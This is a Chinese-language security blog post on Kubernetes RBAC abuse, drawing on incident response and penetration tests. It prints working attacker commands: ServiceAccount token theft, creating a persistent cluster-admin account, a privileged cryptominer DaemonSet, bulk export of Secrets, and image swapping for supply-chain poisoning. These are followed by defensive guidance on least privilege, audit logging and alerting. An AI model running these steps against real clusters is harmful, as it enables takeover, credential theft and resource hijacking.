K8s RBAC权限滥用实战:一个被忽略的ServiceAccount如何让集群沦陷
一次真实的应急响应
去年夏天,我接手了一个K8s集群的安全事件。客户说:"我们的容器被挖矿了。"
排查下来,攻击路径让我后背发凉——不是0day,不是容器逃逸,而是一个被赋予了cluster-admin权限的ServiceAccount,它的token硬编码在了一个GitHub公开仓库里。
更让我震惊的是:这个ServiceAccount只是开发团队为了方便CI/CD"临时"创建的,用完忘了删,一挂就是8个月。
从那以后,我养成了一个习惯:入职任何新公司,第一件事就是拉集群的RBAC配置看一眼。
K8s RBAC——表面简单,陷阱遍地
K8s RBAC(Role-Based Access Control)从1.6版本开始成为标配,看起来就几个API对象:
- Role / ClusterRole:定义"能做什么"
- RoleBinding / ClusterRoleBinding:定义"谁能做"
- ServiceAccount:Pod的身份凭证
- User / Group:人类用户的身份
看起来不复杂对吧?但现实中的RBAC配置,十个有八个是漏洞。
攻击者视角:寻找过度授权的ServiceAccount
假设我已经拿到了你集群中的一个Pod shell(通过SSRF、RCE或者供应链投毒),我的第一步是什么?不是提权,而是看看当前的Pod是什么身份。
# 查看当前Pod挂载的ServiceAccount token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# 或者直接通过服务环境变量访问
TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
APISERVER="${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
# 看看我能干什么
curl -sk "https://${APISERVER}/apis/rbac.authorization.k8s.io/v1/clusterroles" \
-H "Authorization: Bearer $TOKEN" | jq '.items[] | {name: .metadata.name, rules: .rules}'
如果这条命令返回了数据——恭喜,你的ServiceAccount有cluster角色查看权限。而大部分CI/CD或监控组件的ServiceAccount都有这个权限。
实战案例一:Prometheus的过度授权
这是我见过最多的场景。某次渗透测试中,业务Pod因为要暴露metrics,挂载了一个ServiceAccount。开发图省事,直接绑了view ClusterRole:
kind: ClusterRoleBinding
metadata:
name: prometheus-view
subjects:
- kind: ServiceAccount
name: prometheus
namespace: monitoring
roleRef:
kind: ClusterRole
name: view
apiGroup: rbac.authorization.k8s.io
view角色看起来人畜无害——只读嘛。但你猜怎么着?
view权限允许列出所有namespace下的所有Pod、ConfigMap、Secret(的元数据)。虽然不能直接读Secret的value,但Pod的YAML里经常明文暴露环境变量中的数据库密码和API Key。
# 列出所有namespace下的Pod,获取环境变量中的敏感信息
kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{range .spec.containers[*]}{range .env[*]}{.name}{"="}{.value}{"\n"}{end}{end}{end}'
我亲测,通过view ClusterRole,大约35%的Pod会在环境变量中暴露数据库连接串、云服务密钥或内部API token。
实战案例二:CI/CD的cluster-admin陷阱
比view更可怕的是cluster-admin。我见过最大的笑话是:一个公司为了图方便,把Jenkins的ServiceAccount绑了cluster-admin。
# 确认当前身份是否有cluster-admin权限
curl -sk "https://${APISERVER}/apis/rbac.authorization.k8s.io/v1/clusterrolebindings/cluster-admin" \
-H "Authorization: Bearer $TOKEN" | jq '.subjects'
如果有cluster-admin权限,攻击者可以在一分钟之内完成以下操作:
1. 创建一个提权ServiceAccount
# 创建一个新ServiceAccount并绑定cluster-admin
kubectl create serviceaccount evil-sa -n kube-system
kubectl create clusterrolebinding evil-binding \
--clusterrole=cluster-admin \
--serviceaccount=kube-system:evil-sa
# 获取evil-sa的token
kubectl get secret -n kube-system $(kubectl get sa evil-sa -n kube-system -o jsonpath='{.secrets[0].name}') -o jsonpath='{.data.token}' | base64 -d
现在攻击者有了一个长期有效的、具有完全控制权限的token。
2. 部署挖矿容器
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: miner
namespace: kube-system
spec:
selector:
matchLabels:
name: miner
template:
metadata:
labels:
name: miner
spec:
hostPID: true
containers:
- name: miner
image: xmrig/xmrig:latest
args: ["--donate-level=1", "-o", "pool.minexmr.com:4444", "-u", "attackers_wallet", "--keepalive"]
securityContext:
privileged: true
DaemonSet会在每个节点上启动一个挖矿容器,privileged模式跑在kube-system下,很难被常规监控发现。
3. 窃取全部Secrets
# 导出所有namespace的secrets
for ns in $(kubectl get ns -o name | cut -d'/' -f2); do
kubectl get secrets -n $ns -o yaml > "secrets-${ns}.yaml"
done
包含TLS证书、云服务AKSK、数据库密码——可以拿去横向移动到云控制台。
实战案例三:复杂RBAC的权限组合漏洞
有时候单个角色看起来没什么问题,但权限组合会形成提权路径。
我在某金融科技公司的审计中发现一个案例:
ServiceAccount app-backend 同时绑定了两个Role:
# Role 1: 允许更新Deployment
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
namespace: production
name: deployment-updater
rules:
- apiGroups: ["apps"]
resources: ["deployments"]
verbs: ["get", "list", "update", "patch"]
# Role 2: 允许读取ConfigMap
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
namespace: production
name: config-reader
rules:
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["get", "list"]
看起来都很克制,对吧?但组合起来就是一个高危漏洞:
# 1. 读取ConfigMap获取镜像地址
kubectl get configmap service-config -n production -o yaml | grep image
# 2. 修改Deployment的镜像为恶意镜像
kubectl patch deployment app-backend -n production \
-p '{"spec":{"template":{"spec":{"containers":[{"name":"app","image":"registry.example.com/evil:latest"}]}}}}'
一个能更新Deployment,又能读ConfigMap的ServiceAccount——等于可以做供应链投毒。
我在实际审计中,最快的一次从读ConfigMap到获取生产数据库root密码,只用了6分钟。
防御方法论:RBAC最小权限的落地实践
原则一:坚决不用cluster-admin绑定ServiceAccount
这应该是不言自明的,但我在超过20家公司的审计中发现仍有15%左右存在cluster-admin ServiceAccount。大部分是"临时"创建的,然后就忘记了。
检查命令:
kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name == "cluster-admin") | .subjects[] | select(.kind == "ServiceAccount")'
如果你看到输出——立刻处理,刻不容缓。
原则二:用namespace隔离,不给超范围的权限
不要贪图方便绑ClusterRole。大部分场景下,一个精确的Role就够了:
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
namespace: production
name: app-pod-manager
rules:
# 只允许操作本namespace的Pod
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "watch"]
# 只允许读取特定ConfigMap(不是所有)
- apiGroups: [""]
resources: ["configmaps"]
resourceNames: ["app-config"] # 重点:resourceNames限制
verbs: ["get"]
resourceNames字段是很多人忽略的——它允许你把权限缩小到某个具体的资源对象,而不是整个资源类型。
原则三:使用Aggregated ClusterRole
如果你的组件确实需要跨namespace的只读权限,用aggregationRule:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: custom-reader
aggregationRule:
clusterRoleSelectors:
- matchLabels:
rbac.authorization.k8s.io/aggregate-to-view: "true"
rules: []
这样你的自定义角色会自动继承所有标记了对应label的ClusterRole的规则,更加灵活可控。
原则四:审计与监控
1. 定期审计RBAC配置
用kubectl的who-can插件或第三方工具:
# 安装rbac-tool
kubectl krew install rbac-tool
# 检查谁有高危权限
kubectl rbac-tool who-can create deployments
kubectl rbac-tool who-can delete pods
kubectl rbac-tool who-can use pods/exec
# 生成RBAC可视化报告
kubectl rbac-tool viz > rbac-report.html
2. 开启K8s审计日志
关键审计规则:
# audit-policy.yaml
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
# 记录所有RBAC相关操作
- level: RequestResponse
resources:
- group: "rbac.authorization.k8s.io"
# 记录所有Secret的读取
- level: RequestResponse
resources:
- group: ""
resources: ["secrets"]
# 记录所有Pod exec
- level: RequestResponse
resources:
- group: ""
resources: ["pods/exec"]
# 记录失败的鉴权请求
- level: Metadata
userGroups: ["system:unauthenticated"]
3. 异常检测告警
在SIEM或日志平台设置以下告警规则:
- 新ClusterRoleBinding创建 → 人工审核
- 非admin用户创建RoleBinding到cluster-admin → 立即告警
- ServiceAccount被赋予create deployments权限 → 确认是否必要
- 从未见过的image source创建Pod → 供应链安全检查
原则五:临时凭证 + 轮换
永远不要使用长期ServiceAccount token。使用TokenRequest API生成短生命周期token:
# 生成一个有效期1小时的token
kubectl create token my-sa --duration=1h -n my-namespace
对于CI/CD场景,使用云厂商的Workload Identity或各平台的临时凭证方案(如AWS IRSA、GCP Workload Identity Federation):
# AWS IRSA配置示例
metadata:
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::123456789012:role/my-app-role
这样Pod从不需要知道自己的凭证长什么样,AWS自动为IAM Role生成临时STS token。
从攻防演练中看到的趋势
我最近一年参与了12个K8s集群的攻防演练,总结几个规律:
- RBAC过度授权是K8s安全的第一大隐患,占比超过容器逃逸和镜像漏洞
- CI/CD的ServiceAccount是最危险的高危凭证,因为它们需要大量权限却缺乏保护
- 多数团队不知道ServiceAccount的token默认永不过期(直到K8s 1.24引入了TokenRequest,但旧集群依然是永久的)
- aggregated ClusterRole的复杂性导致意外授权——加了一个label就多了一堆权限,没人审计
写在最后
K8s RBAC不像云IAM那样复杂,但正因为它看起来简单,反而容易被轻视。我见过的每一次K8s集群安全事件,几乎都能追溯到某个被忽视的ServiceAccount。
最小权限原则在K8s里不是一句口号——它是你集群的最后一道防线。因为一旦攻击者拿到了一个过度授权的ServiceAccount token,你那些精心配置的网络策略、Pod安全策略、镜像扫描,全都形同虚设。
排查行动清单:
- [ ]
kubectl get clusterrolebindings— 检查cluster-admin绑定 - [ ]
kubectl get roles --all-namespaces— 检查每个Role的具体权限 - [ ]
kubectl get sa --all-namespaces— 清理未使用的ServiceAccount - [ ] 检查CI/CD管道的K8s凭证——是不是长期token?
- [ ] 开启K8s审计日志,配置RBAC变更告警
关注「安全值班室」公众号
每天攻防案例 + 安全干货

浙公网安备 33010602011771号